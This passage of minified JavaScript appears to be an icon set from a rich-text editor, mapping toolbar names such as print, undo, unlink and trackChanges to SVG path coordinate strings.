c-1.7,0-3-1.3-3-3s1.3-3,3-3h4V7H7c-2.8,0-5,2.2-5,5s2.2,5,5,5h3.5L9.9,16.4z",mention:"M12.4,5c-4.1,0-7.5,3.4-7.5,7.5S8.3,20,12.4,20h3.8v-1.5h-3.8c-3.3,0-6-2.7-6-6s2.7-6,6-6s6,2.7,6,6v1.1 c0,0.6-0.5,1.2-1.1,1.2s-1.1-0.6-1.1-1.2v-1.1c0-2.1-1.7-3.8-3.8-3.8s-3.7,1.7-3.7,3.8s1.7,3.8,3.8,3.8c1,0,2-0.4,2.7-1.1 c0.5,0.7,1.3,1.1,2.2,1.1c1.5,0,2.6-1.2,2.6-2.7v-1.1C19.9,8.4,16.6,5,12.4,5z M12.4,14.7c-1.2,0-2.3-1-2.3-2.2s1-2.3,2.3-2.3 s2.3,1,2.3,2.3S13.6,14.7,12.4,14.7z",minimize:"M5,12h14 M19,11H5v2h14V11z",more:"M13.5,17c0,0.8-0.7,1.5-1.5,1.5s-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5S13.5,16.2,13.5,17z M13.5,12c0,0.8-0.7,1.5-1.5,1.5 s-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5S13.5,11.2,13.5,12z M13.5,7c0,0.8-0.7,1.5-1.5,1.5S10.5,7.8,10.5,7s0.7-1.5,1.5-1.5 S13.5,6.2,13.5,7z",openLink:"M17,17H7V7h3V5H7C6,5,5,6,5,7v10c0,1,1,2,2,2h10c1,0,2-1,2-2v-3h-2V17z M14,5v2h1.6l-5.8,5.8l1.4,1.4L17,8.4V10h2V5H14z",orderedList:"M2.5,16h2v.5h-1v1h1V18h-2v1h3V15h-3Zm1-7h1V5h-2V6h1Zm-1,2H4.3L2.5,13.1V14h3V13H3.7l1.8-2.1V10h-3Zm5-5V8h14V6Zm0,12h14V16H7.5Zm0-5h14V11H7.5Z",outdent:"M3,12l3,3V9L3,12z M3,19h18v-2H3V19z M3,7h18V5H3V7z M9,11h12V9H9V11z M9,15h12v-2H9V15z",pageBreaker:"M3,9v6l3-3L3,9z M21,9H8V4h2v3h9V4h2V9z M21,20h-2v-3h-9v3H8v-5h13V20z M11,13H8v-2h3V13z M16,13h-3v-2h3V13z M21,13h-3v-2 h3V13z",paragraphFormat:"M10.15,5A4.11,4.11,0,0,0,6.08,8.18,4,4,0,0,0,10,13v6h2V7h2V19h2V7h2V5ZM8,9a2,2,0,0,1,2-2v4A2,2,0,0,1,8,9Z",paragraphMore:"M7.682,5a4.11,4.11,0,0,0-4.07,3.18,4,4,0,0,0,3.11,4.725h0l.027.005a3.766,3.766,0,0,0,.82.09v6h2V7h2V19h2V7h2V5ZM5.532,9a2,2,0,0,1,2-2v4A2,2,0,0,1,5.532,9Zm14.94,8.491a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,17.491Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,13.491Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,9.491Z",paragraphStyle:"M4,9c0-1.1,0.9-2,2-2v4C4.9,11,4,10.1,4,9z M16.7,20.5l3.2,1.9L19,18.8l3-2.9h-3.7l-1.4-3.5L15.3,16h-3.8l2.9,2.9l-0.9,3.6 L16.7,20.5z M10,17.4V19h1.6L10,17.4z M6.1,5c-1.9,0-3.6,1.3-4,3.2c-0.5,2.1,0.8,4.2,2.9,4.7c0,0,0,0,0,0h0.2C5.5,13,5.8,13,6,13v6 h2V7h2v7h2V7h2V5H6.1z",pdfExport:"M7,3C5.9,3,5,3.9,5,5v14c0,1.1,0.9,2,2,2h10c1.1,0,2-0.9,2-2V7.6L14.4,3H7z M17,19H7V5h6v4h4V19z M16.3,13.5 c-0.2-0.6-1.1-0.8-2.6-0.8c-0.1,0-0.1,0-0.2,0c-0.3-0.3-0.8-0.9-1-1.2c-0.2-0.2-0.3-0.3-0.4-0.6c0.2-0.7,0.2-1,0.3-1.5 c0.1-0.9,0-1.6-0.2-1.8c-0.4-0.2-0.7-0.2-0.9-0.2c-0.1,0-0.3,0.2-0.7,0.7c-0.2,0.7-0.1,1.8,0.6,2.8c-0.2,0.8-0.7,1.6-1,2.4 c-0.8,0.2-1.5,0.7-1.9,1.1c-0.7,0.7-0.9,1.1-0.7,1.6c0,0.3,0.2,0.6,0.7,0.6c0.3-0.1,0.3-0.2,0.7-0.3c0.6-0.3,1.2-1.7,1.7-2.4 c0.8-0.2,1.7-0.3,2-0.3c0.1,0,0.3,0,0.6,0c0.8,0.8,1.2,1.1,1.8,1.2c0.1,0,0.2,0,0.3,0c0.3,0,0.8-0.1,1-0.6 C16.4,14.1,16.4,13.9,16.3,13.5z M8.3,15.7c-0.1,0.1-0.2,0.1-0.2,0.1c0-0.1,0-0.3,0.6-0.8c0.2-0.2,0.6-0.3,0.9-0.7 C9,15,8.6,15.5,8.3,15.7z M11.3,9c0-0.1,0.1-0.2,0.1-0.2S11.6,9,11.5,10c0,0.1,0,0.3-0.1,0.7C11.3,10.1,11,9.5,11.3,9z M10.9,13.1 c0.2-0.6,0.6-1,0.7-1.5c0.1,0.1,0.1,0.1,0.2,0.2c0.1,0.2,0.3,0.7,0.7,0.9C12.2,12.8,11.6,13,10.9,13.1z M15.2,14.1 c-0.1,0-0.1,0-0.2,0c-0.2,0-0.7-0.2-1-0.7c1.1,0,1.6,0.2,1.6,0.6C15.5,14.1,15.4,14.1,15.2,14.1z",print:"M16.1,17c0-0.6,0.4-1,1-1c0.6,0,1,0.4,1,1s-0.4,1-1,1C16.5,18,16.1,17.6,16.1,17z M22,15v4c0,1.1-0.9,2-2,2H4 c-1.1,0-2-0.9-2-2v-4c0-1.1,0.9-2,2-2h1V5c0-1.1,0.9-2,2-2h7.4L19,7.6V13h1C21.1,13,22,13.9,22,15z M7,13h10V9h-4V5H7V13z M20,15H4 v4h16V15z",redo:"M13.6,9.4c1.7,0.3,3.2,0.9,4.6,2L21,8.5v7h-7l2.7-2.7C13,10.1,7.9,11,5.3,14.7c-0.2,0.3-0.4,0.5-0.5,0.8L3,14.6 C5.1,10.8,9.3,8.7,13.6,9.4z",removeTable:"M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z",insertAll:"M 9.25 12 L 6.75 12 C 6.335938 12 6 11.664062 6 11.25 L 6 6 L 3.257812 6 C 2.703125 6 2.425781 5.328125 2.820312 4.933594 L 7.570312 0.179688 C 7.804688 -0.0546875 8.191406 -0.0546875 8.425781 0.179688 L 13.179688 4.933594 C 13.574219 5.328125 13.296875 6 12.742188 6 L 10 6 L 10 11.25 C 10 11.664062 9.664062 12 9.25 12 Z M 16 11.75 L 16 15.25 C 16 15.664062 15.664062 16 15.25 16 L 0.75 16 C 0.335938 16 0 15.664062 0 15.25 L 0 11.75 C 0 11.335938 0.335938 11 0.75 11 L 5 11 L 5 11.25 C 5 12.214844 5.785156 13 6.75 13 L 9.25 13 C 10.214844 13 11 12.214844 11 11.25 L 11 11 L 15.25 11 C 15.664062 11 16 11.335938 16 11.75 Z M 12.125 14.5 C 12.125 14.15625 11.84375 13.875 11.5 13.875 C 11.15625 13.875 10.875 14.15625 10.875 14.5 C 10.875 14.84375 11.15625 15.125 11.5 15.125 C 11.84375 15.125 12.125 14.84375 12.125 14.5 Z M 14.125 14.5 C 14.125 14.15625 13.84375 13.875 13.5 13.875 C 13.15625 13.875 12.875 14.15625 12.875 14.5 C 12.875 14.84375 13.15625 15.125 13.5 15.125 C 13.84375 15.125 14.125 14.84375 14.125 14.5 Z M 14.125 14.5 ",remove:"M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z",replaceImage:"M16,5v3H4v2h12v3l4-4L16,5z M8,19v-3h12v-2H8v-3l-4,4L8,19z",row:"M20,5H4C2.9,5,2,5.9,2,7v2v1.5v3V15v2c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2v-2v-1.5v-3V9V7C22,5.9,21.1,5,20,5z M16,6.5h4 c0.3,0,0.5,0.2,0.5,0.5v2H16V6.5z M9.5,6.5h5V9h-5V6.5z M3.5,7c0-0.3,0.2-0.5,0.5-0.5h4V9H3.5V7z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.5 v-2H8V17.5z M14.5,17.5h-5V15h5V17.5z M20.5,17c0,0.3-0.2,0.5-0.5,0.5h-4V15h4.5V17z",selectAll:"M5,7h2V5C5.9,5,5,5.9,5,7z M5,11h2V9H5V11z M9,19h2v-2H9V19z M5,11h2V9H5V11z M15,5h-2v2h2V5z M17,5v2h2C19,5.9,18.1,5,17,5 z M7,19v-2H5C5,18.1,5.9,19,7,19z M5,15h2v-2H5V15z M11,5H9v2h2V5z M13,19h2v-2h-2V19z M17,11h2V9h-2V11z M17,19c1.1,0,2-0.9,2-2h-2 V19z M17,11h2V9h-2V11z M17,15h2v-2h-2V15z M13,19h2v-2h-2V19z M13,7h2V5h-2V7z M9,15h6V9H9V15z M11,11h2v2h-2V11z",smile:"M11.991,3A9,9,0,1,0,21,12,8.99557,8.99557,0,0,0,11.991,3ZM12,19a7,7,0,1,1,7-7A6.99808,6.99808,0,0,1,12,19Zm3.105-5.2h1.503a4.94542,4.94542,0,0,1-9.216,0H8.895a3.57808,3.57808,0,0,0,6.21,0ZM7.5,9.75A1.35,1.35,0,1,1,8.85,11.1,1.35,1.35,0,0,1,7.5,9.75Zm6.3,0a1.35,1.35,0,1,1,1.35,1.35A1.35,1.35,0,0,1,13.8,9.75Z",spellcheck:"M19.1,13.6l-5.6,5.6l-2.7-2.7l-1.4,1.4l4.1,4.1l7-7L19.1,13.6z M10.8,13.7l2.7,2.7l0.8-0.8L10.5,5h-2l-5,14h2l1.4-4h2.6 L10.8,13.7z M9.5,7.8l1.9,5.2H7.6L9.5,7.8z",star:"M12.1,7.7l1,2.5l0.4,0.9h1h2.4l-2.1,2l-0.6,0.6l0.2,0.9l0.6,2.3l-2.2-1.3L12,15.2l-0.8,0.5L9,17l0.5-2.5l0.1-0.8L9,13.1 l-2-2h2.5h0.9l0.4-0.8L12.1,7.7 M12.2,4L9.5,9.6H3.4L8,14.2L6.9,20l5.1-3.1l5.3,3.1l-1.5-5.8l4.8-4.6h-6.1L12.2,4L12.2,4z",strikeThrough:"M3,12.20294H21v1.5H16.63422a3.59782,3.59782,0,0,1,.34942,1.5929,3.252,3.252,0,0,1-1.31427,2.6997A5.55082,5.55082,0,0,1,12.20251,19a6.4421,6.4421,0,0,1-2.62335-.539,4.46335,4.46335,0,0,1-1.89264-1.48816,3.668,3.668,0,0,1-.67016-2.15546V14.704h.28723v-.0011h.34149v.0011H9.02v.11334a2.18275,2.18275,0,0,0,.85413,1.83069,3.69,3.69,0,0,0,2.32836.67926,3.38778,3.38778,0,0,0,2.07666-.5462,1.73346,1.73346,0,0,0,.7013-1.46655,1.69749,1.69749,0,0,0-.647-1.43439,3.00525,3.00525,0,0,0-.27491-.17725H3ZM16.34473,7.05981A4.18163,4.18163,0,0,0,14.6236,5.5462,5.627,5.627,0,0,0,12.11072,5,5.16083,5.16083,0,0,0,8.74719,6.06213,3.36315,3.36315,0,0,0,7.44006,8.76855a3.22923,3.22923,0,0,0,.3216,1.42786h2.59668c-.08338-.05365-.18537-.10577-.25269-.16064a1.60652,1.60652,0,0,1-.65283-1.30036,1.79843,1.79843,0,0,1,.68842-1.5108,3.12971,3.12971,0,0,1,1.96948-.55243,3.04779,3.04779,0,0,1,2.106.6687,2.35066,2.35066,0,0,1,.736,1.83258v.11341h2.00317V9.17346A3.90013,3.90013,0,0,0,16.34473,7.05981Z",subscript:"M10.4,12l3.6,3.6L12.6,17L9,13.4L5.4,17L4,15.6L7.6,12L4,8.4L5.4,7L9,10.6L12.6,7L14,8.4L10.4,12z M18.31234,19.674 l1.06812-1.1465c0.196-0.20141,0.37093-0.40739,0.5368-0.6088c0.15975-0.19418,0.30419-0.40046,0.432-0.617 c0.11969-0.20017,0.21776-0.41249,0.29255-0.6334c0.07103-0.21492,0.10703-0.43986,0.10662-0.66621 c0.00297-0.28137-0.04904-0.56062-0.1531-0.82206c-0.09855-0.24575-0.25264-0.46534-0.45022-0.6416 c-0.20984-0.18355-0.45523-0.32191-0.72089-0.40646c-0.63808-0.19005-1.3198-0.17443-1.94851,0.04465 c-0.28703,0.10845-0.54746,0.2772-0.76372,0.49487c-0.20881,0.20858-0.37069,0.45932-0.47483,0.73548 c-0.10002,0.26648-0.15276,0.54838-0.15585,0.833l-0.00364,0.237H17.617l0.00638-0.22692 c0.00158-0.12667,0.01966-0.25258,0.05377-0.37458c0.03337-0.10708,0.08655-0.20693,0.15679-0.29437 c0.07105-0.08037,0.15959-0.14335,0.25882-0.1841c0.22459-0.08899,0.47371-0.09417,0.7018-0.01458 c0.0822,0.03608,0.15559,0.08957,0.21509,0.15679c0.06076,0.07174,0.10745,0.15429,0.13761,0.24333 c0.03567,0.10824,0.05412,0.22141,0.05469,0.33538c-0.00111,0.08959-0.0118,0.17881-0.0319,0.26612 c-0.02913,0.10428-0.07076,0.20465-0.124,0.29893c-0.07733,0.13621-0.1654,0.26603-0.26338,0.38823 c-0.13438,0.17465-0.27767,0.34226-0.42929,0.50217l-2.15634,2.35315V21H21v-1.326H18.31234z",superscript:"M10.4,12,14,15.6,12.6,17,9,13.4,5.4,17,4,15.6,7.6,12,4,8.4,5.4,7,9,10.6,12.6,7,14,8.4Zm8.91234-3.326,1.06812-1.1465c.196-.20141.37093-.40739.5368-.6088a4.85745,4.85745,0,0,0,.432-.617,3.29,3.29,0,0,0,.29255-.6334,2.11079,2.11079,0,0,0,.10662-.66621,2.16127,2.16127,0,0,0-.1531-.82206,1.7154,1.7154,0,0,0-.45022-.6416,2.03,2.03,0,0,0-.72089-.40646,3.17085,3.17085,0,0,0-1.94851.04465,2.14555,2.14555,0,0,0-.76372.49487,2.07379,2.07379,0,0,0-.47483.73548,2.446,2.446,0,0,0-.15585.833l-.00364.237H18.617L18.62338,5.25a1.45865,1.45865,0,0,1,.05377-.37458.89552.89552,0,0,1,.15679-.29437.70083.70083,0,0,1,.25882-.1841,1.00569,1.00569,0,0,1,.7018-.01458.62014.62014,0,0,1,.21509.15679.74752.74752,0,0,1,.13761.24333,1.08893,1.08893,0,0,1,.05469.33538,1.25556,1.25556,0,0,1-.0319.26612,1.34227,1.34227,0,0,1-.124.29893,2.94367,2.94367,0,0,1-.26338.38823,6.41629,6.41629,0,0,1-.42929.50217L17.19709,8.92642V10H22V8.674Z",symbols:"M15.77493,16.98885a8.21343,8.21343,0,0,0,1.96753-2.57651,7.34824,7.34824,0,0,0,.6034-3.07618A6.09092,6.09092,0,0,0,11.99515,5a6.13347,6.13347,0,0,0-4.585,1.79187,6.417,6.417,0,0,0-1.756,4.69207,6.93955,6.93955,0,0,0,.622,2.97415,8.06587,8.06587,0,0,0,1.949,2.53076H5.41452V19h5.54114v-.04331h-.00147V16.84107a5.82825,5.82825,0,0,1-2.2052-2.2352A6.40513,6.40513,0,0,1,7.97672,11.447,4.68548,4.68548,0,0,1,9.07785,8.19191a3.73232,3.73232,0,0,1,2.9173-1.22462,3.76839,3.76839,0,0,1,2.91241,1.21489,4.482,4.482,0,0,1,1.11572,3.154,6.71141,6.71141,0,0,1-.75384,3.24732,5.83562,5.83562,0,0,1-2.22357,2.25759v2.11562H13.0444V19h5.54108V16.98885Z",tags:"M8.9749 7.47489a1.5 1.5 0 1 1 -1.5 1.5A1.5 1.5 0 0 1 8.9749 7.47489Zm3.78866 -3.12713L16.5362 8.12041l0.33565 0.33564 2.77038 2.77038a2.01988 2.01988 0 0 1 0.59 1.42 1.95518 1.95518 0 0 1 -0.5854 1.40455l0.00044 0.00043 -5.59583 5.59583 -0.00043 -0.00044a1.95518 1.95518 0 0 1 -1.40455 0.5854 1.98762 1.98762 0 0 1 -1.41 -0.58L8.45605 16.87185l-0.33564 -0.33565L4.35777 12.77357a1.99576 1.99576 0 0 1 -0.59 -1.42V9.36358l0 -3.59582a2.00579 2.00579 0 0 1 2 -2l3.59582 0h1.98995A1.98762 1.98762 0 0 1 12.76356 4.34776ZM15.46186 9.866l-0.33564 -0.33564L11.36359 5.76776H5.76776v5.59583L9.866 15.46186l2.7794 2.7794 5.5878 -5.60385 -0.001 -0.001Z",tableHeader:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.4 l0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M14.5,17.5h-5V15h5V17.5z M14.5,13.5h-5v-3h5V13.5z M20.5,17c0,0.3-0.2,0.5-0.4,0.5l0,0 H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9h-4.4H16h-1.5h-5H8H7.9H3.5V7c0-0.3,0.2-0.5,0.4-0.5l0,0h4l0,0h8.2l0,0H20 c0.3,0,0.5,0.2,0.5,0.4l0,0V9z",tableFooter:"M20,19H4a2.006,2.006,0,0,1-2-2V7A2.006,2.006,0,0,1,4,5H20a2.006,2.006,0,0,1,2,2V17A2.006,2.006,0,0,1,20,19ZM8,6.5H4a.458.458,0,0,0-.5.4h0V9H8Zm0,4H3.5v3H8Zm6.5-4h-5V9h5Zm0,4h-5v3h5Zm6-3.5a.458.458,0,0,0-.4-.5H16V9h4.5Zm0,3.5H16v3h4.5Zm0,4.5H3.5v2a.458.458,0,0,0,.4.5H20a.458.458,0,0,0,.5-.4h0Z",tableStyle:"M20.0171,19.89752l.9,3.6-3.2-1.9-3.3,1.9.8-3.6-2.9-2.9h3.8l1.7-3.5,1.4,3.5h3.8ZM20,5H4A2.00591,2.00591,0,0,0,2,7V17a2.00591,2.00591,0,0,0,2,2h7.49115l-.58826-.58826L9.99115,17.5H9.5V14.9975h5.36511L16,12.66089V10.5h4.5v3h-.52783l.599,1.4975H22V7A2.00591,2.00591,0,0,0,20,5ZM3.5,7A.4724.4724,0,0,1,4,6.5H8V9H3.5Zm0,3.5H8v3H3.5Zm.5,7a.4724.4724,0,0,1-.5-.5V15H8v2.5Zm10.5-4h-5v-3h5Zm0-4.5h-5V6.5h5Zm6,0H16V6.5h4a.4724.4724,0,0,1,.5.5Z",textColor:"M15.2,13.494s-3.6,3.9-3.6,6.3a3.65,3.65,0,0,0,7.3.1v-.1C18.9,17.394,15.2,13.494,15.2,13.494Zm-1.47-1.357.669-.724L12.1,5h-2l-5,14h2l1.43-4h2.943A24.426,24.426,0,0,1,13.726,12.137ZM11.1,7.8l1.86,5.2H9.244Z",textMore:"M13.55,19h2l-5-14h-2l-5,14h2l1.4-4h5.1Zm-5.9-6,1.9-5.2,1.9,5.2Zm12.8,4.5a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.45,17.5Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.45,13.5Zm0-4A1.5,1.5,0,1,1,18.95,8,1.5,1.5,0,0,1,20.45,9.5Z",underline:"M19,20v2H5V20Zm-3-6.785a4,4,0,0,1-5.74,3.4A3.75,3.75,0,0,1,8,13.085V5.005H6v8.21a6,6,0,0,0,8,5.44,5.851,5.851,0,0,0,4-5.65v-8H16ZM16,5v0h2V5ZM8,5H6v0H8Z",undo:"M10.4,9.4c-1.7,0.3-3.2,0.9-4.6,2L3,8.5v7h7l-2.7-2.7c3.7-2.6,8.8-1.8,11.5,1.9c0.2,0.3,0.4,0.5,0.5,0.8l1.8-0.9 C18.9,10.8,14.7,8.7,10.4,9.4z",unlink:"M14.4,11l1.6,1.6V11H14.4z M17,7h-4v1.9h4c1.7,0,3.1,1.4,3.1,3.1c0,1.3-0.8,2.4-1.9,2.8l1.4,1.4C21,15.4,22,13.8,22,12 C22,9.2,19.8,7,17,7z M2,4.3l3.1,3.1C3.3,8.1,2,9.9,2,12c0,2.8,2.2,5,5,5h4v-1.9H7c-1.7,0-3.1-1.4-3.1-3.1c0-1.6,1.2-2.9,2.8-3.1 L8.7,11H8v2h2.7l2.3,2.3V17h1.7l4,4l1.4-1.4L3.4,2.9L2,4.3z",unorderedList:"M4,10.5c-0.8,0-1.5,0.7-1.5,1.5s0.7,1.5,1.5,1.5s1.5-0.7,1.5-1.5S4.8,10.5,4,10.5z M4,5.5C3.2,5.5,2.5,6.2,2.5,7 S3.2,8.5,4,8.5S5.5,7.8,5.5,7S4.8,5.5,4,5.5z M4,15.5c-0.8,0-1.5,0.7-1.5,1.5s0.7,1.5,1.5,1.5s1.5-0.7,1.5-1.5S4.8,15.5,4,15.5z M7.5,6v2h14V6H7.5z M7.5,18h14v-2h-14V18z M7.5,13h14v-2h-14V13z",verticalAlignBottom:"M16,13h-3V3h-2v10H8l4,4L16,13z M3,19v2h18v-2H3z",verticalAlignMiddle:"M3,11v2h18v-2H3z M8,18h3v3h2v-3h3l-4-4L8,18z M16,6h-3V3h-2v3H8l4,4L16,6z",verticalAlignTop:"M8,11h3v10h2V11h3l-4-4L8,11z M21,5V3H3v2H21z",filestackIconAdd:"M21 16.75 16.985 21v-4.25H21ZM7.154 12.5c2.294 0 4.154 1.902 4.154 4.25S9.448 21 7.154 21C4.86 21 3 19.097 3 16.75s1.86-4.25 4.154-4.25Zm8.862 6.8V21H10.24a5.283 5.283 0 0 0 1.441-1.7h4.334ZM7.46 14.093h-.614a.215.215 0 0 0-.212.218v1.907H4.77a.215.215 0 0 0-.212.218v.628c0 .12.094.217.212.217h1.865v1.908c0 .12.095.217.212.217h.614a.214.214 0 0 0 .212-.217V17.28h1.865a.214.214 0 0 0 .212-.217v-.628a.215.215 0 0 0-.212-.218H7.673v-1.907a.215.215 0 0 0-.212-.218Zm5.647-.035v1.558h-.886a5.324 5.324 0 0 0-.615-1.558h1.501ZM21 4v11.616h-1.522V5.559H8.538v6.094a5.018 5.018 0 0 0-1.384-.216V4H21Zm-5.4 7.366v1.559h-4.015v-1.559h4.016Zm.97-2.691v1.559h-4.985v-1.56h4.985Z",trackChanges:"M17.2 20H12.4599L13.9938 19.2076L14.0305 19.1886L14.0616 19.1612C14.1036 19.1242 14.1373 19.0786 14.1603 19.0275C14.1806 18.9825 14.1923 18.9342 14.1948 18.885H14.2H14.3384L14.4364 18.7874L14.7049 18.52H15.45C15.5747 18.52 15.6942 18.4705 15.7823 18.3823C15.8705 18.2942 15.92 18.1746 15.92 18.05C15.92 17.9253 15.8705 17.8058 15.7823 17.7176C15.7351 17.6704 15.6789 17.6343 15.6177 17.6109L17.33 15.9056V19.87C17.33 19.8871 17.3266 19.904 17.3201 19.9197C17.3136 19.9355 17.304 19.9499 17.2919 19.9619C17.2799 19.974 17.2655 19.9836 17.2497 19.9901C17.234 19.9966 17.2171 20 17.2 20ZM4.13 20H11.2508C11.2396 19.9629 11.2337 19.9242 11.2337 19.885C11.2337 19.8133 11.2533 19.7431 11.29 19.6819L11.2739 19.6734L11.8838 18.52H5C4.87535 18.52 4.7558 18.4705 4.66766 18.3823C4.57952 18.2942 4.53 18.1746 4.53 18.05C4.53 17.9253 4.57952 17.8058 4.66766 17.7176C4.7558 17.6295 4.87535 17.58 5 17.58H12.3809L12.3925 17.5582L12.4187 17.5284C12.4558 17.4864 12.5014 17.4527 12.5525 17.4297C12.5836 17.4156 12.6163 17.4057 12.6498 17.4001C12.6522 17.3065 12.6877 17.2166 12.7503 17.1467L13 17.37C12.9902 17.381 12.9847 17.3952 12.9847 17.41C12.9847 17.4247 12.9902 17.439 13 17.45L14.13 18.55H14.2L19.09 13.68V13.6L17.99 12.5C17.979 12.4902 17.9647 12.4847 17.95 12.4847C17.9352 12.4847 17.921 12.4902 17.91 12.5L13 17.37L12.7641 17.1322L15.1759 14.74H5C4.87535 14.74 4.7558 14.6905 4.66766 14.6023C4.57952 14.5142 4.53 14.3946 4.53 14.27C4.53 14.1453 4.57952 14.0258 4.66766 13.9376C4.7558 13.8495 4.87535 13.8 5 13.8H15.45C15.5747 13.8 15.6942 13.8495 15.7823 13.9376C15.8169 13.9722 15.8454 14.0115 15.8675 14.0541L17.33 12.6034V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20ZM11.7889 20H11.8785C11.8902 19.9746 11.898 19.9475 11.9015 19.9197L11.8661 19.9866L11.8117 19.9578L13.84 18.91C13.8464 18.9044 13.8515 18.8974 13.855 18.8897C13.8585 18.8819 13.8603 18.8735 13.8603 18.865C13.8603 18.8565 13.8585 18.8481 13.855 18.8403C13.8515 18.8325 13.8464 18.8256 13.84 18.82L12.76 17.75C12.7544 17.7436 12.7474 17.7385 12.7397 17.735C12.7319 17.7315 12.7235 17.7297 12.715 17.7297C12.7065 17.7297 12.6981 17.7315 12.6903 17.735C12.6825 17.7385 12.6756 17.7436 12.67 17.75L11.57 19.83L11.5023 19.7942L11.58 19.85C11.5727 19.8602 11.5687 19.8724 11.5687 19.885C11.5687 19.8975 11.5727 19.9098 11.58 19.92L11.67 20H11.73L11.7642 19.9823L11.7889 20ZM13.1 4.65L16.6 8.15C16.6212 8.17232 16.6355 8.20028 16.6412 8.23051C16.6469 8.26075 16.6437 8.29199 16.6321 8.32048C16.6205 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5207 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8312 4.72925 12.8412 4.6995 12.8588 4.67429C12.8765 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9893 4.60315 13.0195 4.60884C13.0497 4.61453 13.0777 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60183 10.9735 6.54621C10.9534 6.49058 10.9224 6.43948 10.8825 6.39582C10.8425 6.35216 10.7944 6.31681 10.7408 6.29179C10.6871 6.26677 10.6291 6.25257 10.57 6.25H5C4.88239 6.25773 4.77251 6.3113 4.69397 6.39918C4.61543 6.48707 4.57451 6.60226 4.58 6.72C4.57451 6.83774 4.61543 6.95293 4.69397 7.04082C4.77251 7.12871 4.88239 7.18227 5 7.19H10.6C10.714 7.1774 10.8189 7.12173 10.8933 7.03438C10.9676 6.94702 11.0058 6.83457 11 6.72ZM11.1 8.14001H5C4.87535 8.14001 4.7558 8.18953 4.66766 8.27767C4.57952 8.36582 4.53 8.48536 4.53 8.61001C4.53 8.73467 4.57952 8.85421 4.66766 8.94236C4.7558 9.0305 4.87535 9.08001 5 9.08001H11.1C11.2247 9.08001 11.3442 9.0305 11.4323 8.94236C11.5205 8.85421 11.57 8.73467 11.57 8.61001C11.57 8.48536 11.5205 8.36582 11.4323 8.27767C11.3442 8.18953 11.2247 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8036 10.8536C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8036 10.1464C15.7098 10.0527 15.5826 10 15.45 10H5C4.86739 10 4.74021 10.0527 4.64645 10.1464C4.55268 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55268 10.7598 4.64645 10.8536C4.74021 10.9473 4.86739 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4986 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.4159 12.0552C11.3337 11.9673 11.2202 11.9152 11.1 11.91H5C4.94089 11.9126 4.88286 11.9268 4.82924 11.9518C4.77562 11.9768 4.72746 12.0122 4.68752 12.0558C4.64758 12.0995 4.61664 12.1506 4.59648 12.2062C4.57631 12.2618 4.56731 12.3209 4.57 12.38C4.56451 12.5004 4.60649 12.6181 4.6869 12.7079C4.76731 12.7976 4.87974 12.8523 5 12.86ZM11.1 16.63H5C4.87535 16.63 4.7558 16.5805 4.66766 16.4923C4.57952 16.4042 4.53 16.2846 4.53 16.16C4.53 16.0353 4.57952 15.9158 4.66766 15.8276C4.7558 15.7395 4.87535 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4323 15.8276C11.5205 15.9158 11.57 16.0353 11.57 16.16C11.57 16.2846 11.5205 16.4042 11.4323 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM18.8503 11.592C18.7991 11.6175 18.7545 11.6544 18.72 11.7L18.26 12.14C18.2501 12.151 18.2447 12.1652 18.2447 12.18C18.2447 12.1947 18.2501 12.209 18.26 12.22L19.37 13.32C19.381 13.3298 19.3952 13.3353 19.41 13.3353C19.4247 13.3353 19.439 13.3298 19.45 13.32L19.86 12.91C19.9057 12.867 19.9421 12.8151 19.967 12.7575C19.9919 12.6998 20.0047 12.6377 20.0047 12.575C20.0047 12.5122 19.9919 12.4501 19.967 12.3925C19.9421 12.3349 19.9057 12.283 19.86 12.24L19.31 11.7C19.2755 11.6544 19.2309 11.6175 19.1797 11.592C19.1285 11.5666 19.0721 11.5533 19.015 11.5533C18.9578 11.5533 18.9014 11.5666 18.8503 11.592Z",showTrackChanges:"M17.2421 13.6048C17.2631 13.6136 17.2841 13.6226 17.305 13.6317V9.29505H13.2626C13.1897 9.30481 13.1159 9.30481 13.043 9.29505C12.7532 9.21632 12.4953 9.04872 12.3056 8.81577C12.1158 8.58283 12.0037 8.29625 11.985 7.99627V4H4.12976C4.09534 4 